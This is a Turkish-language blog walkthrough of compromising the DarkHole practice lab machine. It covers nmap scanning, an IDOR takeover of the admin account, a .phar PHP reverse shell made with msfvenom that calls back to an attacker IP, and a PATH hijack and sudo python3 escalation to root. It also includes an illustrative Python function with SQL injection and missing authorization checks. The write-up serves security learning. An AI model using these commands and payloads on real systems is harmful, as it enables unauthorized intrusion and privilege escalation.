Darkhole

Zorluk seviyesini "kolay" olarak değerlendirebilirim. Hedef sistemde oturum açmak biraz araştırma gerektiriyor, ancak bir oturum elde ettiğinde yetki yükseltme işlemi oldukça kolay bir şekilde gerçekleştirilebiliyor.

author image

Written by

Furkan İbiş

Published on

Mar 26

Darkhole

Esenlikler,

Bugünkü yazımda, Darkhole makinesine yönelik gerçekleştirdiğim sızma testi işlemlerini olabildiğince ayrıntılı bir şekilde anlatmaya çalışacağım. Umarım hem senin hem de benim için faydalı bir içerik olur.

Bu makineyi indirmek için DarkHole bağlantısını kullanabilirsin. Ayrıca, makineyi tasarlayan Jehad Alqurashi'ye emekleri için teşekkür ederim.

Gerekli kurulumları yaptığımıza göre, sızma testine yavaş yavaş başlayabiliriz.

Keşif

İlk olarak, hangi hedef üzerinde işlem yürüteceğimizi belirlememiz gerekiyor. Kısaca, hedefimizin kim olduğunu tespit etmeliyiz. Senaryo gereği, hedef sistemle aynı ağa bağlı bir cihaz kullandığımı varsayarsak, bu noktada hedefi tespit etmek için bir ping taraması gerçekleştirmem gerekiyor.

Ping taraması, kısaca ICMP (Internet Control Message Protocol) kullanarak hedeflediğimiz cihazın ağ üzerinde ulaşılabilir olup olmadığını kontrol etme yöntemidir. Özetlemek gerekirse, tüm ağ bloğuna ICMP Request isteği göndereceğim ve ICMP Reply yanıtı aldığım cihazlar üzerinde işlemler gerçekleştireceğim.

Bu işlemi gerçekleştirmek için birçok araç bulabilirsin. Hatta istersen, Scapy modülüyle kendi aracını da yazabilirsin. Ancak, bu yazıda Nmap aracını kullanacağım.

nmap 172.16.13.0/24 -sP

Hedefimiz 172.16.13.128. Peki, hedef sistem hangi servisleri sağlıyor? Bunu tespit etmek için SYN taraması gerçekleştireceğim. Bu sayede, hedef sistemde açık olan portları, bu portlarda çalışan servisleri ve versiyon bilgilerini elde etmeye çalışacağım. Bu noktada yine nmap aracı bize yardımcı olacak.

nmap 172.16.13.128 -sS -sV -p- -A -O

Bu aşamada, görselde de görebileceğin gibi hedef sistem 22/SSH - OpenSSH 8.2p1 ve 80/HTTP - Apache httpd 2.4.41 servislerini sağlıyor. Bir HTTP hizmeti sunduğu için doğrudan hedef web sitesini inceleyebilirim. Ancak, bunu sadece kendi ezberlediğim yöntemlere dayanarak yapmak yerine, farklı işlemleri denemek ve versiyondan kaynaklı olası bir zafiyeti tespit edebilmek için öncelikle versiyon araştırması yapmak istiyorum.

Bu iki servis, CWE-78, CWE-326 gibi birçok güvenlik açığını barındırıyor. Bunları araştırmanı şiddetle öneriyorum.

SSH tarafında genellikle Metasploit ile brute force gibi işlemler gerçekleştirebiliriz. Ancak makineyi oluşturan kişi "Hint: Don't waste your time For Brute-Force" şeklinde küçük bir ipucu bırakmış. Bu nedenle, şimdilik bu yöntemi bir kenara bırakıp hedef web sitesini incelemeye başlayacağım.

Ezbere Gitmek ve WEB Paths

Hedef web sitesine girdiğimde beni çok büyük bir içeriğe sahip olmayan bir site karşılıyor. Yalnızca bir index sayfası, bir giriş (login) sayfası ve bir de üye olma sayfası bulunuyor.

Önceden yaptığım sızma testlerinden edindiğim tecrübeyle, ilk olarak bir alt dizin (subpage) taraması yapmak istiyorum. Amacım, keşfedilmemiş sayfalar olup olmadığını tespit etmek. Bu nedenle, DirBuster aracını kullanıyorum.

Bu tarama sonucunda http://172.16.13.128/config/database.php ve http://172.16.13.128/upload/ sayfaları dikkatimi çekiyor. database.php dosyasının içeriğinde herhangi bir veri bulunmuyor. Bu noktada, sonraki adımları düşünürken bir yandan da DirBuster taramasının tamamen bitmesini bekliyorum.

Belirli bir süre sonra tarama tamamlanıyor, ancak dikkatimi çekecek herhangi bir bulguya rastlamıyorum. database.php dosyasının boş olması, upload sayfasında yalnızca bir adet resim dosyasının bulunması ve dashboard.php sayfasına şu an erişemiyor olmam gibi, şimdilik işime yaramayan bilgilere sahibim. Genel olarak hedef sistemin sunduğu web dizinini şu şekilde gösterebilirim:

Bu noktada, önceden yaptığım sızma testlerinden edindiğim ve aslında ezberlediğimi fark ettiğim bu işlemlerden umudumu keserek farklı yollar aramaya çalışıyorum. Yine de en azından bazı dizinleri öğrendiğimi kendime hatırlatarak küçük bir tesellide buluyorum.

Sayfa İçerisinde Gezinmek

Bu aşamada amacım, sayfayı daha detaylı incelemek için bir hesap oluşturup neler yapabileceğimi kontrol etmek. Bu araştırmayı gerçekleştirmek için Burp Suite aracını kullanacağım. Böylece, hedef sisteme gönderdiğim tüm request'leri ve gelen response'ları analiz edebileceğim.

Bunun için öncelikle kayıt sayfasında bir test kullanıcısı oluşturuyorum ve hedef sisteme nasıl bir request gittiğini analiz ediyorum.

Bu noktada dikkatimi çeken şey, gönderdiğimiz request içindeki değişkenleri görebiliyor ve hatta değiştirebiliyor olmam. Ancak, şu an register sayfasında olduğum için bunun üzerinde bir işlem yapamam gibi görünüyor. Bu yüzden, test adlı kullanıcıyı oluşturup sayfa içinde başka neler olduğunu keşfetmeye devam ediyorum.

Test kullanıcısı ile giriş yaptığımda karşıma dashboard sayfası çıkıyor. Burada dikkatimi çeken şey, oluşturduğum test kullanıcısının dashboard sayfasında ID'sinin 2 olarak görünmesi. Bu noktada, doğrudan ID 1 ile bir deneme yapıyorum.

Bu noktada, ID'si 1 olan kullanıcının dashboard sayfasına erişmeme normal olarak izin verilmediğini rahatça görebilirsin. Ancak burada merak ettiğim asıl nokta, test kullanıcısının kendi dashboard sayfasında kullanıcı adını, e-posta adresini ve parolasını değiştirebilmesi.

Parola değişikliği sırasında BurpSuite nasıl bir istek gönderiyor, bunu merak ediyorum. Bu yüzden test kullanıcısının parolasını değiştiriyorum ve bu işlemi gerçekleştirirken gönderilen request'i detaylıca analiz ediyorum.

Burada dikkat edilmesi gereken çok önemli bir nokta var. Parolayı değiştirmek için gönderdiğimiz istekte password=test&id=2 gibi değişkenler bulunuyor ve bu değerlerin değiştirilebilir olması ihtimali aklıma geliyor. Bu durum, hedef sistemin IDOR (Insecure Direct Object References) saldırısına karşı savunmasız olabileceğini düşündürüyor.

Ancak öncelikle IDOR'un ne olduğu ile ilgili kısa bir açıklama yapmam gerekiyor.

IDOR

IDOR, kısaca bir sistemde yetkilendirme hatası olarak tanımlanabilir. Bir sistemde kullanıcı yetkilerinin güvenli bir şekilde kontrol edilmesi oldukça önemlidir. Yetkisi olmayan bir kullanıcının, sistem üzerinde işlem yapabilmesi ciddi bir güvenlik zafiyetine yol açabilir.

Kısa bir örnek vermek gerekirse, bir e-ticaret sitesini ele alalım. Bir hesap oluşturarak çeşitli ürünleri satmak veya satın almak gibi, e-ticaret sitesinden beklenen temel işlemleri gerçekleştirmek isteyebiliriz. Ancak burada yetkilerin doğru şekilde belirlenmesi büyük önem taşır. Örneğin, bir kullanıcı yalnızca kendi oluşturduğu ürünlerin fiyatlarını güncelleyebilmeli ve ilanlarını düzenleyebilmelidir. Başka bir kullanıcının ilanlarını değiştirebilmesi veya fiyatlarını güncelleyebilmesi ciddi bir güvenlik açığına yol açar.

Biraz da kod odaklı bir örnek vermek gerekirse:

Yine bir e-ticaret senaryosunu ele alalım ve iki farklı kullanıcımız olduğunu varsayalım. Bu kullanıcıların bir user_id değeri ve çeşitli product_id'leri bulunsun. Ayrıca, oluşturduğumuz bir fonksiyon ile kullanıcılar ürünlerinin fiyatlarını güncelleyebilsin.

def update_product_price(product_id: int, new_price: float):
    conn = sqlite3.connect('example.db')
    cursor = conn.cursor()
    SQL_COMMAND = f'UPDATE products SET price={new_price} WHERE product_id={product_id}'
    cursor.execute(SQL_COMMAND)
    conn.commit()
    conn.close()

Bu örnekte görülebileceği gibi bir ürünün fiyatı değiştirilebiliyor. Bu, bir e-ticaret uygulamasında beklenen bir durumdur. Ancak, fonksiyonda hangi kullanıcının bu işlemi yapabileceğine dair bir kontrol eksik. Bu durum, user_id'si 1 olan kullanıcının ürününün, gerekli manipülasyonlar yapıldığında user_id'si 0 olan kullanıcı tarafından güncellenebileceği anlamına gelir. Bu da bir yetkilendirme zafiyeti oluşturur.

Ayrıca, bu örnek SQL Injection gibi çeşitli güvenlik açıklarını da barındırıyor. Ancak şu an amacım IDOR kavramını açıklamak olduğu için bunu şimdilik göz ardı edelim.

IDOR'u Kullanmak

Test aşamasında, hatırlarsan ID'si 1 olan kullanıcının dashboard sayfasına erişemiyordum. Bu nedenle, parola değişikliği için gönderilen POST isteğini manipüle edeceğim. Yani, Burp Suite aracını kullanarak parola değişikliği sırasında ID'si 2 olan kullanıcı yerine (bu benim hesabım), ID'si 1 olan kullanıcının parolasını test olarak değiştirmeye çalışacağım.

İlk olarak isteği yakalayıp Repeater'a gönderiyorum.

Ardından Repeater'a girip aynı POST isteğini, id'si 1 olan kullanıcı için göndereceğim.

Bu işlem sonucunda response içinde "password has been updated" yazısını görebilirsin. Peki, gerçekten id'si 1 olan kullanıcının parolası güncellendi mi? Bunu nasıl doğrulayacağız?

Normalde, kullanıcı adını tespit etmek için aynı yöntemi kullanabilirim. Ancak, id'si 1 olan kullanıcının admin olduğunu düşünüyorum. Bu yüzden, bu bilgilerle doğrudan giriş yapmayı deneyeceğim.

Bu sayede başarılı bir şekilde admin hesabına ve admin dashboard'una giriş yapmış oluyorum. Görebileceğin gibi id 1.

Hiçbir Şey Boşuna Değildir

Hedef sistemin PHP ile çalıştığını biliyorum. Bu yüzden doğrudan bir PHP reverse shell çalıştıracak kodu hedef sisteme yükleyebilirim. Ancak asıl soru, bu kodu hedef sistemde nasıl çalıştıracağım?

Öncelikle, msfvenom aracıyla bir PHP reverse shell payload’ı oluşturalım. Bunun için ezbere bir şeyler bilmem gerekmiyor; basit bir Google aramasıyla aşağıdaki kodu buldum.

msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.13.135 LPORT=9001 -f raw -o shell.php

Ardından, oluşturduğum bu dosyayı hedef sisteme yüklüyorum. Ancak küçük bir sorunla karşılaşıyorum: Hedef sistem, yalnızca jpg, png ve gif formatındaki dosyaların yüklenmesine izin veriyor. Bu durumda, shell.php dosyamı bu formatlardan birinin içine nasıl gizleyebileceğimi araştırmaya başlıyorum.

İlk denemem, shell.php dosyasının adını shell.php.jpg olarak değiştirmek oluyor. Bu yöntemin işe yarayacağından pek emin olmasam da denemeye değer.

Hedef sisteme dosyayı yükledik peki bu dosyayı nasıl çalıştıracağım bu karşılaştığım bir başka sorun.

Yüklediğim dosyaların, bu yazının başında dirbuster ile bulduğum http://172.16.13.128/upload/ dizinine kaydedileceğini düşünüyorum ve tahmin ettiğim gibi oluyor. Eğer bu dosyayı çalıştırabilirsem, hedef sistem üzerinde bir reverse shell açmayı başaracağım.

Bu noktada, hedef web sitesindeki path'leri öğrenme işleminin aslında bir zaman kaybı olmadığını fark ediyorum. Sonuçta bir bulmaca çözüyorum ve hedef sistemle ilgili ne kadar çok bilgi edinirsem, o kadar avantajlı olurum. Bu düşünce tarzını zihnime iyice kazımam gerekiyor.

Uygun Dosya Uzantısı

Upload sayfasında shell.php.jpg dosyasını çalıştırmak istediğimde beklediğim sonucu alamıyorum ve aşağıdaki hatayla karşılaşıyorum.

Hata mesajını resimden görmek zor olabilir, bu yüzden buraya yazıyorum:
"The image ‘http://172.16.13.128/upload/shell.php.jpg’ cannot be displayed because it contains errors."

Bu noktada, internetten bir resim dosyasının içerisine nasıl PHP kodu gizlenebileceğini ve bunun hedef sistemde nasıl çalıştırılabileceğini araştırıyorum. ExifTool gibi araçlar bu işlem için kullanılabiliyor, ancak şu an karşılaştığım problemi doğrudan çözmüyor.

PHAR

Hedef sisteme deneme.txt dosyasını yükleyebildiğimi fark ettim. Bu da bana, web sitesinin belirttiği dosya türleri dışında da dosya yükleyebileceğim ihtimalini düşündürdü.

Bu noktadan sonra yöntemimi değiştirme kararı alıyorum. İnternette yaptığım bir araştırmada, RunRenegade kullanıcısının GitHub reposunda paylaştığı bir kodu buluyorum. Bu kodu kullanarak oluşturduğum PHP shell dosyasını, farklı PHP dosya uzantılarına dönüştürüyorum ve ardından bu dosyaları hedef sisteme yüklüyorum.

shell.phar dosyası, dinlediğim 9001 portuna geri dönüş yaparak hedef sisteme sızmamı sağlıyor. Muhtemelen msfvenom ile doğrudan phar formatında bir dosya oluşturabilirdim, ancak ben biraz daha uzun bir yöntemi tercih etmiş oldum.

Artık www-data kullanıcısı ile hedef sisteme erişim sağlamış bulunuyoruz. Bu noktada belirtmem gereken önemli bir husus var: msfvenom ile oluşturduğum shell.phar dosyasını kullanmak yerine, revshells.com üzerinden yeni bir shell.phar dosyası oluşturdum ve bunu kullandım.

Hedef Sistemde Gezinmek

Hedef sistemde ilk olarak mevcut kullanıcıları kontrol ettim ve john adlı bir kullanıcı olduğunu fark ettim. Ardından, john kullanıcısının home dizinine girerek içerisindeki dosyaları inceledim.

Gördüğün gibi toto adında bir dosya var, ancak şu an için ne işe yaradığını bilmiyorum. Bu dosya üzerinde işlem yapmayı düşünmemin asıl sebebi, yalnızca bu dosyayı çalıştırabiliyor olmam. Bu yüzden dosyayı incelemeye başladım ve aslında id komutunu çalıştırdığını fark ettim.

Bu noktada aklıma gelen şey şu: toto dosyası id komutunu çalıştırıyorsa, PATH değerlerini manipüle ederek bir dizine kendi id komutumu yazabilirim ve bu kodu çalıştırarak bir bash terminali açabilirim. Ayrıca, toto dosyasında SetUID bitinin ayarlanmış olması, yazdığım yeni id komutunu www-data kullanıcısı olarak çalıştırdığımda bile root yetkileriyle çalıştıracağı anlamına geliyor. Bu da belki de bana bir root oturumu elde etme fırsatını sunabilir.

Planı Uygulamak

İlk olarak /tmp klasörüne geçiyorum ve burada bir id dosyası oluşturup içerisine doğrudan "/bin/bash" yazıyorum. Ayrıca, bu dosyaya 777 yetkisini veriyorum. 777 yetkisini vermemin sebebi, dosyanın herkes tarafından çalıştırılabilir olmasını sağlamak; böylece www-data kullanıcısı olarak oluşturduğum bu dosya çalıştırıldığında bir yetki sorunu yaşamayacağım.

Şimdi tekrar john kullanıcısının home klasörüne geçiyorum ve burada PATH değişkenini güncelliyorum. Tavsiyem, gerçek PATH değerini bir yere kopyalaman, ne olur ne olmaz. PATH değişkenini /tmp olarak belirlediğimizde, mantıken toto dosyası id komutunu çalıştırırken önce /tmp klasöründe arayacaktır. /tmp klasöründe oluşturduğumuz id dosyasını bulduğunda ise onu çalıştıracaktır.

toto dosyasını çalıştırdığımızda john kullanıcısı olduk. Dürüst olmak gerekirse bunun sebebini tam olarak anlamadım. SetUID bitinin aktif olması ve toto dosyasının root kullanıcısına ve root grubuna ait olmasına rağmen neden john kullanıcısı olduğumu merak ediyorum. Eğer bunun sebebini biliyorsan, benimle iletişime geçip anlatabilirsen çok sevinirim.

John ile Yapabildiklerimiz

Root olamasak bile (şimdilik) john kullanıcısı olmanın ilk güzel tarafı, password dosyasında doğrudan john'un parolasının bulunması. Bu sayede SSH ile bağlanabilir ve daha düzgün bir terminal üzerinde çalışabilirim.

Basitçe root olmak

John'un home klasöründeki file.py dosyası boş. Ayrıca, superuser yetkileriyle çalıştırabileceğimiz komutları kontrol ettiğimde, doğrudan göze çarpan bir sonuç elde ediyorum: file.py dosyasını root yetkileriyle çalıştırabiliyoruz. Bu da, file.py içerisine bir bash terminali açacak kod eklersem ve dosyayı çalıştırırsam, bana root yetkileriyle bir terminal oturumu sağlayacağı anlamına geliyor.

Burada gördüğün gibi file.py dosyasını düzenledim ve aşağıdaki komutu çalıştırdığımda doğrudan root kullanıcısı olmayı başardım.

sudo /usr/bin/python3 /home/john/file.py

Son flag'imi de aldığıma göre bu yazıyı burada sonlandırıyorum.

Teşekkürler

Yazımı okuduğun için teşekkür ederim. Bir sonraki yazıda görüşmek üzere, esenlikler.